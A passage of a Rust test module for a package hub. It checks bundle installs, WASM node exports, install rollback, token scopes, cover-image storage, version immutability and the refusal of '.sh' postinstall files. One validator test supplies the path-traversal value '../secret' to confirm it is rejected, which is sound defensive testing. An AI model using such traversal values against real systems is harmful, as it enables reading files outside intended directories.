{ "rel_path": "definition.json", "kind": "node_definition",
"size_bytes": definition.len(), "reason": "test", "content": definition },
{ "rel_path": "icon.svg", "kind": "asset",
"size_bytes": icon.len(), "reason": "test", "content": icon },
{ "rel_path": "wasm/core.wasm", "kind": "asset",
"size_bytes": module.len(), "reason": "test", "encoding": "base64",
"content": base64::engine::general_purpose::STANDARD.encode(module) }
]
}))
.unwrap();
platform
.hub
.install_artifact_payload_from(
owner.to_string(),
project.to_string(),
"wasmtrig",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"wasmtrig",
"1.0.0",
),
payload,
&no_channel(),
)
.expect("install succeeds");
let installed = platform
.node_registry
.get_by_kind(owner, project, "n.x.wasmtrig.inbox")
.expect("trigger is installed");
assert!(
installed.manifest.trigger.is_some(),
"the node keeps its trigger role"
);
assert_eq!(
installed.manifest.source,
crate::platform::model::NodePackageSource::Wasm,
"and its implementation is WASM"
);
let (module_spec, export) = installed.manifest.wasm_target().expect("wasm target");
let output = crate::pipeline::engines::wasm_host::run_wasm_export(
"n.x.wasmtrig.inbox",
&installed.package_dir,
module_spec,
export,
&serde_json::json!({ "hook_key": "abc" }),
&serde_json::json!({ "update_id": 7 }),
&serde_json::json!({ "owner": owner, "project": project }),
)
.expect("handler runs");
assert_eq!(output["ok"], serde_json::json!(true));
assert_eq!(output["export"], serde_json::json!("e2e_train"));
}
#[tokio::test]
async fn installed_wasm_nodes_execute_their_own_exports() {
use base64::Engine as _;
let root = tempfile::tempdir().unwrap();
let platform = std::sync::Arc::new(
crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap(),
);
let owner = "superadmin";
let project = "default";
let module =
include_bytes!("../../../tests/fixtures/contracts/node-bundle/two-exports.wasm");
let definition = serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "NodeBundle",
"metadata": { "name": "e2ewasm", "version": "1.0.0" },
"spec": {
"package": "e2ewasm",
"version": "1.0.0",
"title": "E2E WASM Bundle",
"description": "Two WASM nodes sharing one module through distinct exports.",
"icon": "icon.svg",
"credentials": [],
"functions": {},
"modules": {
"core": { "path": "wasm/core.wasm", "abi": "zebflow-wasm-json-v1" }
},
"nodes": [
wasm_node_entry("n.x.e2ewasm.train", "E2E Train", "e2e_train"),
wasm_node_entry("n.x.e2ewasm.score", "E2E Score", "e2e_score")
]
}
})
.to_string();
let icon = "<svg xmlns=\"http://www.w3.org/2000/svg\"/>";
let payload: HubPackageSpec = serde_json::from_value(serde_json::json!({
"asset_kind": "node_bundle",
"title": "E2E WASM",
"description": "Exercises per-node WASM export resolution.",
"files": [
{
"rel_path": "definition.json",
"kind": "node_definition",
"size_bytes": definition.len(),
"reason": "test",
"content": definition
},
{
"rel_path": "icon.svg",
"kind": "asset",
"size_bytes": icon.len(),
"reason": "test",
"content": icon
},
{
"rel_path": "wasm/core.wasm",
"kind": "asset",
"size_bytes": module.len(),
"reason": "test",
"encoding": "base64",
"content": base64::engine::general_purpose::STANDARD.encode(module)
}
]
}))
.unwrap();
platform
.hub
.install_artifact_payload_from(
owner.to_string(),
project.to_string(),
"e2ewasm",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"e2ewasm",
"1.0.0",
),
payload,
&no_channel(),
)
.expect("install succeeds");
for (kind, export) in [
("n.x.e2ewasm.train", "e2e_train"),
("n.x.e2ewasm.score", "e2e_score"),
] {
let installed = platform
.node_registry
.get_by_kind(owner, project, kind)
.unwrap_or_else(|| panic!("{kind} is installed"));
assert_eq!(
installed.manifest.source,
crate::platform::model::NodePackageSource::Wasm
);
let (module_spec, resolved) = installed.manifest.wasm_target().expect("wasm target");
assert_eq!(module_spec.path, "wasm/core.wasm");
assert_eq!(resolved, export);
let output = crate::pipeline::engines::wasm_host::execute_wasm_node(
kind.to_string(),
serde_json::json!({}),
platform.clone(),
crate::pipeline::nodes::NodeExecutionInput {
node_id: "n1".to_string(),
input_pin: "in".to_string(),
payload: serde_json::json!({ "value": 2 }),
metadata: serde_json::json!({ "owner": owner, "project": project }),
bus: None,
},
)
.await
.unwrap_or_else(|err| panic!("{kind} executes: {}", err.message));
assert_eq!(output.len(), 1);
assert_eq!(output[0].payload["ok"], serde_json::json!(true));
assert_eq!(output[0].payload["engine"], serde_json::json!("wasm"));
assert_eq!(
output[0].payload["contract"],
serde_json::json!("zebflow-wasm-json-v1")
);
assert_eq!(
output[0].payload["export"],
serde_json::json!(export),
"each node must run its own export, not a shared default"
);
}
}
#[test]
fn failed_node_bundle_install_restores_files_and_dependency_lock() {
let root = tempfile::tempdir().unwrap();
let platform = crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap();
let owner = "superadmin";
let project = "default";
let before = platform.dependency_lock.read(owner, project).unwrap();
let payload: HubPackageSpec = serde_json::from_value(serde_json::json!({
"asset_kind": "node_bundle",
"title": "Broken node bundle",
"description": "Exercises transactional recovery.",
"files": [
{
"rel_path": "README.md",
"kind": "documentation",
"size_bytes": 7,
"reason": "test",
"content": "written"
},
{
"rel_path": "definition.json",
"kind": "node_definition",
"size_bytes": 2,
"reason": "test",
"content": "{}"
}
]
}))
.unwrap();
let error = platform
.hub
.install_artifact_payload_from(
owner.to_string(),
project.to_string(),
"broken-bundle",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"broken-bundle",
"1.0.0",
),
payload,
&no_channel(),
)
.unwrap_err();
assert_eq!(error.code, "NODE_MANIFEST_PARSE");
let package_dir = root
.path()
.join("users/superadmin/default/data/hub/nodes/broken-bundle");
assert!(!package_dir.join("README.md").exists());
assert!(!package_dir.join("definition.json").exists());
assert_eq!(
platform.dependency_lock.read(owner, project).unwrap(),
before
);
}
#[test]
fn successful_node_bundle_install_registers_and_locks_the_exact_bundle() {
let root = tempfile::tempdir().unwrap();
let platform = crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap();
let owner = "superadmin";
let project = "default";
let definition =
include_str!("../../pipeline/nodes/bundled/openai-embedding/definition.json")
.replace("n.ai.embedding", "n.x.openai_embedding_test.embed")
.replace("\"openai-embedding\"", "\"openai-embedding-test\"");
let function =
include_str!("../../pipeline/nodes/bundled/openai-embedding/functions/embed.zf.json");
let icon = include_str!("../../pipeline/nodes/bundled/openai-embedding/icon.svg");
let node_icon =
include_str!("../../pipeline/nodes/bundled/openai-embedding/icons/embedding.svg");
let payload: HubPackageSpec = serde_json::from_value(serde_json::json!({
"asset_kind": "node_bundle",
"title": "OpenAI embedding",
"description": "Exercises successful dependency installation.",
"files": [
{
"rel_path": "definition.json",
"kind": "node_definition",
"size_bytes": definition.len(),
"reason": "test",
"content": definition
},
{
"rel_path": "functions/embed.zf.json",
"kind": "pipeline",
"size_bytes": function.len(),
"reason": "test",
"content": function
},
{
"rel_path": "icon.svg",
"kind": "asset",
"size_bytes": icon.len(),
"reason": "test",
"content": icon
},
{
"rel_path": "icons/embedding.svg",
"kind": "asset",
"size_bytes": node_icon.len(),
"reason": "test",
"content": node_icon
}
]
}))
.unwrap();
let result = platform
.hub
.install_artifact_payload_from(
owner.to_string(),
project.to_string(),
"openai-embedding-test",
"1.0.0",
"",
HubInstallProvenance::new(
crate::contracts::kinds::DependencyLockSource::DirectFile,
"openai-embedding-test",
"1.0.0",
),
payload,
&no_channel(),
)
.unwrap();
assert_eq!(result.install_root, "nodes/openai-embedding-test");
assert!(
platform
.node_registry
.merged_definitions(owner, project)
.iter()
.any(|definition| definition.kind == "n.x.openai_embedding_test.embed")
);
let lock = platform.dependency_lock.read(owner, project).unwrap();
let bundle = lock
.nodes
.bundles
.values()
.find(|bundle| bundle.definitions == ["n.x.openai_embedding_test.embed"])
.unwrap();
assert_eq!(
bundle.source,
crate::contracts::kinds::DependencyLockSource::DirectFile
);
assert_eq!(bundle.source_id, "openai-embedding-test@1.0.0");
assert_eq!(bundle.entry, "nodes/openai-embedding-test/definition.json");
}
#[test]
fn normalize_scopes_accepts_known_hub_scopes_in_any_shape() {
let scopes = normalize_scopes(&[
"hub:publish".to_string(),
" HUB:read ".to_string(),
"hub:publish".to_string(),
])
.expect("known scopes");
assert_eq!(
scopes,
vec!["hub:publish".to_string(), "hub:read".to_string()]
);
}
#[test]
fn normalize_scopes_refuses_an_unknown_scope_by_name() {
let error = normalize_scopes(&["read".to_string(), "hub:publish".to_string()])
.expect_err("an unusable scope is refused");
assert_eq!(error.code, "HUB_TOKEN_SCOPE_INVALID");
assert!(
error.message.contains("'read'") && error.message.contains("hub:read"),
"the refusal names the value and the accepted set, got {}",
error.message
);
}
#[test]
fn normalize_scopes_refuses_a_token_with_no_usable_scope() {
let error = normalize_scopes(&[]).expect_err("a token that can do nothing is refused");
assert_eq!(error.code, "HUB_TOKEN_SCOPE_INVALID");
}
#[test]
fn apply_scope_flags_sets_explicit_permissions() {
let token = apply_scope_flags(HubToken {
token_id: "mkt_1".to_string(),
authority_id: "mka_1".to_string(),
publisher_pk: "mpub_1".to_string(),
owner: "superadmin".to_string(),
project: "default".to_string(),
publisher_id: "zebflow-official".to_string(),
publisher_display_name: "Zebflow Official".to_string(),
publisher_url: "/publishers/zebflow-official".to_string(),
publisher_email: "publishers@zebflow.com".to_string(),
title: "Official".to_string(),
secret_hash: "hash".to_string(),
scopes: vec!["hub:read".to_string(), "hub:publish".to_string()],
scope_read: false,
scope_publish: false,
scope_manage: false,
expires_at: None,
last_used_at: None,
revoked_at: None,
created_at: 0,
updated_at: 0,
});
assert!(token.scope_read);
assert!(token.scope_publish);
assert!(!token.scope_manage);
assert!(token.grants_scope("hub:read"));
assert!(token.grants_scope("hub:publish"));
assert!(!token.grants_scope("hub:manage"));
}
#[test]
fn publisher_scopes_respect_current_permissions() {
let publisher = HubPublisher {
authority_id: DEFAULT_HUB_SERVICE_INSTANCE_ID.to_string(),
publisher_pk: "mpub_1".to_string(),
owner: HUB_SERVICE_SCOPE_OWNER.to_string(),
project: HUB_SERVICE_SCOPE_PROJECT.to_string(),
publisher_id: "zebflow-official".to_string(),
display_name: "Zebflow Official".to_string(),
publisher_url: "/publishers/zebflow-official".to_string(),
email: "publishers@zebflow.com".to_string(),
description: String::new(),
icon_url: String::new(),
website_url: String::new(),
enabled: true,
can_read: true,
can_publish: false,
can_manage: false,
max_packages: 20,
max_package_bytes: 10 * 1024 * 1024,
max_media_files: 8,
max_image_bytes: 2 * 1024 * 1024,
created_at: 0,
updated_at: 0,
};
assert!(validate_publisher_scopes(&publisher, &["hub:read".to_string()]).is_ok());
let err = validate_publisher_scopes(&publisher, &["hub:publish".to_string()])
.expect_err("publish scope should be denied");
assert_eq!(err.code, "HUB_PUBLISHER_SCOPE_DENIED");
}
#[test]
fn hub_versions_are_single_safe_path_segments() {
assert!(validate_hub_version("1.0.0").is_ok());
assert!(validate_hub_version("1.0.0-beta_1").is_ok());
assert!(validate_hub_version("../secret").is_err());
assert!(validate_hub_version("1/2").is_err());
assert!(validate_hub_version("release candidate").is_err());
}
fn artifact_store_entries(root: &tempfile::TempDir) -> std::collections::BTreeSet<String> {
let dir = root
.path()
.join("services")
.join(PUBLIC_HUB_STORE_DIR)
.join("artifacts");
match std::fs::read_dir(&dir) {
Ok(entries) => entries
.filter_map(|entry| entry.ok())
.map(|entry| entry.file_name().to_string_lossy().to_string())
.collect(),
Err(_) => std::collections::BTreeSet::new(),
}
}
fn hub_publish_fixture(
label: &str,
) -> (
tempfile::TempDir,
std::sync::Arc<crate::platform::services::PlatformService>,
) {
let root = tempfile::tempdir().unwrap();
let platform = std::sync::Arc::new(
crate::platform::services::PlatformService::from_config(
crate::platform::model::PlatformConfig {
data_root: root.path().to_path_buf(),
default_password: "test-password".to_string(),
..Default::default()
},
)
.unwrap(),
);
platform
.hub
.ensure_default_service_instance("standalone", "http://127.0.0.1/api", true)
.expect("hub service enabled");
platform
.hub
.set_authority_enabled("superadmin", "default", true)
.expect("authority enabled");
platform
.hub
.upsert_publisher(
"superadmin",
"default",
"calc-studio",
"Calc Studio",
"https://publishers.example/calc-studio",
"publishers@example.com",
"",
"",
"",
true,
true,
true,
true,
20,
10 * 1024 * 1024,
8,
2 * 1024 * 1024,
)
.expect("publisher");
write_publish_source(&platform, label);
(root, platform)
}
fn write_publish_source(platform: &crate::platform::services::PlatformService, label: &str) {
platform
.projects
.upsert_pipeline_definition(
"superadmin",
"default",
"pipelines/calc.zf.json",
label,
label,
"manual",
&serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "Pipeline",
"metadata": {"name": "calc"},
"spec": {
"id": "calc",
"description": label,
"entry_nodes": [],
"nodes": [],
"edges": []
}
})
.to_string(),
)
.expect("pipeline");
}
fn publish_calc_tools(
platform: &crate::platform::services::PlatformService,
version: &str,
) -> Result<(HubAssetPackage, HubAssetVersion), PlatformError> {
platform.hub.publish_asset(
"superadmin",
"default",
"superadmin",
"calc-studio",
"",
"",
"",
"superadmin",
"default",
"pipeline_with_dependencies",
"pipelines/calc.zf.json",
"calc-tools",
version,
"Calculator Tools",
"Reusable calculator pipeline.",
"",
"public",
Default::default(),
vec!["math".to_string()],
)
}
fn publish_calc_tools_with_cover(
platform: &crate::platform::services::PlatformService,
version: &str,
image_file_path: &str,
) -> Result<(HubAssetPackage, HubAssetVersion), PlatformError> {
platform.hub.publish_asset(
"superadmin",
"default",
"superadmin",
"calc-studio",
"",
"",
"",
"superadmin",
"default",
"pipeline_with_dependencies",
"pipelines/calc.zf.json",
"calc-tools",
version,
"Calculator Tools",
"Reusable calculator pipeline.",
image_file_path,
"public",
Default::default(),
vec!["math".to_string()],
)
}
fn write_cover_source(root: &tempfile::TempDir, width: u32, height: u32) -> String {
let dir = root
.path()
.join("users")
.join("superadmin")
.join("default")
.join("files")
.join("images");
std::fs::create_dir_all(&dir).expect("image dir");
let mut png = Vec::new();
image::DynamicImage::ImageRgba8(image::ImageBuffer::from_fn(width, height, |x, y| {
image::Rgba([(x % 256) as u8, (y % 256) as u8, 160, 255])
}))
.write_to(&mut Cursor::new(&mut png), ImageFormat::Png)
.expect("png");
std::fs::write(dir.join("cover.png"), png).expect("write cover");
"images/cover.png".to_string()
}
#[test]
fn a_cover_is_stored_as_an_artifact_and_never_enters_the_release() {
let (root, platform) = hub_publish_fixture("Calculator One");
let baseline = artifact_store_entries(&root);
let image_file_path = write_cover_source(&root, 64, 36);
let (package, version) =
publish_calc_tools_with_cover(&platform, "1.0.0", &image_file_path)
.expect("publish with a cover");
let release = std::fs::read(root.path().join(&version.artifact_rel_path))
.expect("release document bytes");
let spec = decode_hub_package(&release).expect("release decodes").spec;
let spec_value = serde_json::to_value(&spec).expect("spec value");
let spec_object = spec_value.as_object().expect("spec object");
for field in ["media", "gallery", "image_url", "description_md", "summary"] {
assert!(
!spec_object.contains_key(field),
"spec.{field} must not be in the release"
);
}
assert!(
!String::from_utf8_lossy(&release).contains("RIFF"),
"no WebP bytes reached the document an installer parses"
);
let cover = package.media.first().expect("a cover is recorded");
assert_eq!(cover.name, "cover.webp");
assert_eq!(cover.role, "cover");
assert_eq!(cover.content_type, "image/webp");
assert_eq!(cover.artifact_sha256.len(), 64);
assert_eq!(
package.image_url,
"/api/hub/remote/assets/calc-studio.calc-tools/media/cover.webp"
);
assert_eq!(
package
.gallery
.cover
.as_ref()
.map(|item| item.media_name.as_str()),
Some("cover.webp")
);
let stored = root
.path()
.join("services")
.join(PUBLIC_HUB_STORE_DIR)
.join("artifacts")
.join(&cover.artifact_sha256);
assert!(stored.is_file(), "the cover is stored content-addressed");
let stored_bytes = std::fs::read(&stored).expect("stored cover bytes");
assert_eq!(sha256_hex(&stored_bytes), cover.artifact_sha256);
assert_eq!(stored_bytes.len(), cover.size_bytes);
let (served_package, served_media, served_bytes) = platform
.hub
.get_latest_asset_media("calc-studio.calc-tools", "cover.webp")
.expect("cover resolves");
assert_eq!(served_package.package_id, "calc-studio.calc-tools");
assert_eq!(served_media.artifact_sha256, cover.artifact_sha256);
assert_eq!(served_bytes, stored_bytes);
publish_calc_tools_with_cover(&platform, "1.0.1", &image_file_path)
.expect("second version publishes");
let added = artifact_store_entries(&root).difference(&baseline).count();
assert_eq!(added, 1, "identical bytes are stored once");
}
#[test]
fn an_oversized_cover_is_refused_before_it_is_stored() {
let (root, platform) = hub_publish_fixture("Calculator One");
let baseline = artifact_store_entries(&root);
platform
.hub
.upsert_publisher(
"superadmin",
"default",
"calc-studio",
"Calc Studio",
"https://publishers.example/calc-studio",
"publishers@example.com",
"",
"",
"",
true,
true,
true,
true,
20,
10 * 1024 * 1024,
8,
1,
)
.expect("publisher with a tiny image quota");
let image_file_path = write_cover_source(&root, 512, 288);
let error = publish_calc_tools_with_cover(&platform, "1.0.0", &image_file_path)
.expect_err("the cover is refused");
assert_eq!(error.code, "HUB_PUBLISHER_QUOTA_EXCEEDED");
assert_eq!(
artifact_store_entries(&root),
baseline,
"nothing is stored for a refused cover"
);
}
#[test]
fn publishing_a_new_package_version_records_the_release_and_its_artifact() {
let (root, platform) = hub_publish_fixture("Calculator One");
let (package, version) = publish_calc_tools(&platform, "1.0.0").expect("first publish");
assert_eq!(package.package_id, "calc-studio.calc-tools");
assert_eq!(version.version, "1.0.0");
let stored = platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("version row is stored");
assert_eq!(stored.artifact_sha256, version.artifact_sha256);
let artifact = root.path().join(&version.artifact_rel_path);
assert!(artifact.exists(), "the artifact file is written");
assert_eq!(
sha256_hex(&std::fs::read(&artifact).expect("artifact bytes")),
version.artifact_sha256,
"the recorded digest names the stored bytes"
);
publish_calc_tools(&platform, "1.0.1").expect("second version publishes");
}
#[test]
fn republishing_a_package_version_is_refused_and_leaves_the_release_untouched() {
let (root, platform) = hub_publish_fixture("Calculator One");
let (_, first) = publish_calc_tools(&platform, "1.0.0").expect("first publish");
let artifact = root.path().join(&first.artifact_rel_path);
let bytes_before = std::fs::read(&artifact).expect("artifact bytes");
write_publish_source(&platform, "Calculator Two");
let error = publish_calc_tools(&platform, "1.0.0").expect_err("republish is refused");
assert_eq!(error.code, "HUB_VERSION_EXISTS");
assert!(
error.message.contains("calc-studio.calc-tools@1.0.0"),
"the message names the release: {}",
error.message
);
assert!(
error.message.contains("bump the version"),
"the message tells the publisher what to do instead: {}",
error.message
);
let stored = platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("the original row survives");
assert_eq!(stored.artifact_sha256, first.artifact_sha256);
assert_eq!(stored.artifact_rel_path, first.artifact_rel_path);
assert_eq!(stored.manifest, first.manifest);
assert_eq!(
stored.created_at, first.created_at,
"a refused republish does not rewrite when the release was created"
);
assert_eq!(
std::fs::read(&artifact).expect("artifact bytes"),
bytes_before,
"the stored artifact keeps the bytes the digest names"
);
assert_eq!(
platform
.hub
.list_public_asset_versions("calc-studio.calc-tools")
.expect("versions")
.len(),
1,
"the refusal writes no second row"
);
}
fn write_repo_file(root: &tempfile::TempDir, rel: &str, content: &str) {
let path = root
.path()
.join("users")
.join("superadmin")
.join("default")
.join("repo")
.join(rel);
std::fs::create_dir_all(path.parent().expect("parent")).expect("repo dir");
std::fs::write(&path, content).expect("write repo file");
}
fn publish_folder(
platform: &crate::platform::services::PlatformService,
package_id: &str,
source_ref: &str,
image_file_path: &str,
) -> Result<(HubAssetPackage, HubAssetVersion), PlatformError> {
platform.hub.publish_asset(
"superadmin",
"default",
"superadmin",
"calc-studio",
"",
"",
"",
"superadmin",
"default",
"folder_files",
source_ref,
package_id,
"1.0.0",
"Folder Pack",
"A folder published as it stands.",
image_file_path,
"public",
Default::default(),
vec![],
)
}
#[test]
fn a_publish_carrying_a_file_type_no_project_accepts_is_refused() {
let (root, platform) = hub_publish_fixture("Calculator One");
let baseline = artifact_store_entries(&root);
write_repo_file(&root, "pipelines/folder-pack/postinstall.sh", "true\n");
let image_file_path = write_cover_source(&root, 64, 36);
let error = publish_folder(
&platform,
"folder-pack",
"pipelines/folder-pack",
&image_file_path,
)
.expect_err("a package no instance can install must not be stored");
assert_eq!(error.code, "HUB_PUBLISH_REFUSED");
assert!(
error
.message
.contains("pipelines/folder-pack/postinstall.sh")
&& error.message.contains("'.sh'"),
"the publisher is told the path and the extension: {}",
error.message
);
assert!(
platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_version("calc-studio.folder-pack", "1.0.0")
.expect("version lookup")
.is_none(),
"a refused publish records no version row"
);
assert!(
platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_package("calc-studio.folder-pack")
.expect("package lookup")
.is_none(),
"a refused publish records no package row"
);
assert!(
!root
.path()
.join("services/hub-public/packages/calc-studio.folder-pack")
.exists()
&& !root
.path()
.join("services/hub-local/packages/calc-studio.folder-pack")
.exists(),
"a refused publish creates no release directory in either store"
);
assert_eq!(
artifact_store_entries(&root),
baseline,
"a refused publish stores no cover either"
);
}
#[test]
fn an_ordinary_folder_still_publishes() {
let (root, platform) = hub_publish_fixture("Calculator One");
write_repo_file(&root, "pipelines/folder-pack/postinstall.tsx", "true\n");
let (_, version) = publish_folder(&platform, "folder-pack", "pipelines/folder-pack", "")
.expect("ordinary source publishes");
assert!(
root.path().join(&version.artifact_rel_path).exists(),
"the release is written where the row says it is"
);
}
#[test]
fn a_publish_is_reviewed_against_the_platform_extension_floor() {
let mut narrowed = ResolvedProjectLayout::platform_default();
narrowed.source = "src".to_string();
narrowed.allowed_extensions = vec!["tsx".to_string()];
let files = pipeline_package(
HUB_ASSET_KIND_FOLDER_BUNDLE,
serde_json::json!({
"rel_path": "src/pack/settings.json", "kind": "json",
"size_bytes": 3, "reason": "test", "content": "{}\n"
}),
)
.files;
let review_against = |layout: &ResolvedProjectLayout| {
review_publish_entries(
layout,
HUB_ASSET_KIND_FOLDER_BUNDLE,
&files,
Vec::new(),
"Pack",
"A pack.",
true,
&no_channel(),
)
};
assert!(
!review_against(&narrowed).is_installable(),
"the control: the narrowed set does refuse a .json file"
);
let reviewed = publish_review_layout(&narrowed);
assert_eq!(
reviewed.source, "src",
"the publisher's own directories are what decide its pipelines"
);
assert!(
review_against(&reviewed).is_installable(),
"a publish is not refused for a file type every receiver accepts"
);
}
#[test]
fn remote_publishing_a_file_type_no_project_accepts_is_refused() {
let (root, platform) = hub_publish_fixture("Calculator One");
let token = remote_publish_token(&platform);
let error = platform
.hub
.import_remote_asset(
"superadmin",
"default",
&token,
&remote_publish_request(
"1.0.0",
serde_json::json!({
"rel_path": "pipelines/pack/postinstall.sh",
"kind": "file",
"size_bytes": 5,
"reason": "package",
"content": "true\n"
}),
),
)
.expect_err("an inbound package no instance can install must not be stored");
assert_eq!(error.code, "HUB_REMOTE_PUBLISH_REFUSED");
assert!(
error.message.contains("pipelines/pack/postinstall.sh")
&& error.message.contains("'.sh'"),
"the sending publisher is told the path and the extension: {}",
error.message
);
assert!(
platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_version("calc-studio.remote-pack", "1.0.0")
.expect("version lookup")
.is_none(),
"a refused remote publish records no version row"
);
assert!(
!root
.path()
.join("services/hub-public/packages/calc-studio.remote-pack")
.exists()
&& !root
.path()
.join("services/hub-local/packages/calc-studio.remote-pack")
.exists(),
"a refused remote publish creates no release directory in either store"
);
}
#[test]
fn an_ordinary_remote_publish_still_lands() {
let (root, platform) = hub_publish_fixture("Calculator One");
let token = remote_publish_token(&platform);
let (_, version) = platform
.hub
.import_remote_asset(
"superadmin",
"default",
&token,
&remote_publish_request(
"1.0.0",
serde_json::json!({
"rel_path": "pipelines/pack/postinstall.tsx",
"kind": "tsx",
"size_bytes": 5,
"reason": "package",
"content": "true\n"
}),
),
)
.expect("an ordinary inbound package is stored");
assert!(
root.path().join(&version.artifact_rel_path).exists(),
"the release is written where the row says it is"
);
}
fn remote_publish_token(
platform: &crate::platform::services::PlatformService,
) -> crate::platform::model::HubToken {
platform
.hub
.create_token(
"superadmin",
"default",
&crate::platform::model::CreateHubTokenRequest {
publisher_id: "calc-studio".to_string(),
title: "Publish token".to_string(),
scopes: vec!["hub:publish".to_string()],
expires_at: None,
},
)
.expect("publisher token")
.0
}
fn remote_publish_request(version: &str, entry: serde_json::Value) -> RemoteHubPublishRequest {
RemoteHubPublishRequest {
package_id: "remote-pack".to_string(),
version: version.to_string(),
title: "Remote Pack".to_string(),
description: "Published from another instance.".to_string(),
summary: String::new(),
description_md: String::new(),
media: Vec::new(),
gallery: HubAssetGallery::default(),
visibility: "public".to_string(),
tags: Vec::new(),
source_owner: "superadmin".to_string(),
source_project: "default".to_string(),
source_kind: "folder_files".to_string(),
source_ref: "pipelines/pack".to_string(),
artifact: serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": {"name": "calc-studio.remote-pack", "version": version},
"spec": {
"asset_kind": "folder_bundle",
"title": "Remote Pack",
"description": "Published from another instance.",
"files": [entry]
}
}),
}
}
#[test]
fn remote_publishing_an_existing_package_version_is_refused() {
let (root, platform) = hub_publish_fixture("Calculator One");
let (_, first) = publish_calc_tools(&platform, "1.0.0").expect("first publish");
let artifact = root.path().join(&first.artifact_rel_path);
let bytes_before = std::fs::read(&artifact).expect("artifact bytes");
let (token, _secret) = platform
.hub
.create_token(
"superadmin",
"default",
&crate::platform::model::CreateHubTokenRequest {
publisher_id: "calc-studio".to_string(),
title: "Publish token".to_string(),
scopes: vec!["hub:publish".to_string()],
expires_at: None,
},
)
.expect("publisher token");
let error = platform
.hub
.import_remote_asset(
"superadmin",
"default",
&token,
&RemoteHubPublishRequest {
package_id: "calc-tools".to_string(),
version: "1.0.0".to_string(),
title: "Remote overwrite".to_string(),
description: "Should never land.".to_string(),
summary: String::new(),
description_md: String::new(),
media: Vec::new(),
gallery: HubAssetGallery::default(),
visibility: "public".to_string(),
tags: Vec::new(),
source_owner: "superadmin".to_string(),
source_project: "default".to_string(),
source_kind: "pipeline_with_dependencies".to_string(),
source_ref: "pipelines/calc.zf.json".to_string(),
artifact: serde_json::json!({
"apiVersion": "zebflow.com/v1",
"kind": "HubPackage",
"metadata": {"name": "calc-studio.calc-tools", "version": "1.0.0"},
"spec": {
"asset_kind": "pipeline_bundle",
"title": "Remote overwrite",
"description": "Should never land.",
"files": [
{
"rel_path": "pipelines/calc.zf.json",
"kind": "pipeline",
"size_bytes": 2,
"reason": "package",
"content": "{}"
}
]
}
}),
},
)
.expect_err("remote republish is refused");
assert_eq!(error.code, "HUB_VERSION_EXISTS");
let stored = platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("the original row survives");
assert_eq!(stored.artifact_sha256, first.artifact_sha256);
assert_eq!(stored.created_at, first.created_at);
assert_eq!(
std::fs::read(&artifact).expect("artifact bytes"),
bytes_before
);
}
#[test]
fn hub_version_created_at_survives_a_row_rewrite() {
let (_root, platform) = hub_publish_fixture("Calculator One");
let (_, first) = publish_calc_tools(&platform, "1.0.0").expect("first publish");
let mut rewritten = first.clone();
rewritten.created_at = first.created_at + 86_400;
rewritten.artifact_sha256 = "0".repeat(64);
platform
.hub
.require_public_store()
.expect("public store")
.data
.put_hub_asset_version(&rewritten)
.expect("row rewrite");
let stored = platform
.hub
.require_public_store()
.expect("public store")
.data
.get_hub_asset_version("calc-studio.calc-tools", "1.0.0")
.expect("version lookup")
.expect("version row");
assert_eq!(
stored.created_at, first.created_at,
"created_at is preserved for the life of a version"
);
}
fn calc_studio_token(
platform: &crate::platform::services::PlatformService,
scopes: &[&str],
) -> HubToken {
platform
.hub
.create_token(
"superadmin",
"default",
&CreateHubTokenRequest {
publisher_id: "calc-studio".to_string(),
title: "Publish token".to_string(),
scopes: scopes.iter().map(|item| item.to_string()).collect(),
expires_at: None,
},
)
.expect("publisher token")
.0
}
#[test]
fn creating_a_token_with_an_unknown_scope_is_refused_and_stores_nothing() {
let (_root, platform) = hub_publish_fixture("Calculator One");
let error = platform
.hub
.create_token(
"superadmin",
"default",
&CreateHubTokenRequest {
publisher_id: "calc-studio".to_string(),
title: "Publish token".to_string(),
scopes: vec!["read".to_string(), "publish".to_string()],
expires_at: None,
},
)
.expect_err("an unknown scope is a request error");
assert_eq!(error.code, "HUB_TOKEN_SCOPE_INVALID");
assert!(
platform
.hub
.list_tokens("superadmin", "default")
.expect("tokens")
.is_empty(),
"a refused request creates no token"
);
}
#[test]
fn a_publish_that_omits_presentation_leaves_the_existing_presentation() {
let (root, platform) = hub_publish_fixture("Calculator One");
let image_file_path = write_cover_source(&root, 64, 36);
publish_calc_tools_with_cover(&platform, "1.0.0", &image_file_path)
.expect("publish with a cover");
let token = calc_studio_token(&platform, &["hub:publish"]);
platform
.hub
.update_asset_presentation(
&token,
"superadmin",
"default",
"calc-tools",
&HubPresentationUpdate {
summary: Some("Calculators, batteries included.".to_string()),
description_md: Some("# Calc Tools\n\nA long description.".to_string()),
..Default::default()
},
)
.expect("presentation update");
write_publish_source(&platform, "Calculator Two");
let (package, _) = publish_calc_tools(&platform, "1.1.0").expect("second publish");
assert_eq!(package.summary, "Calculators, batteries included.");
assert_eq!(
package.description_md,
"# Calc Tools\n\nA long description."
);
assert_eq!(
package.media.len(),
1,
"the cover survives a publish that names no image"
);
assert_eq!(package.media[0].role, "cover");
assert_eq!(
package
.gallery
.cover
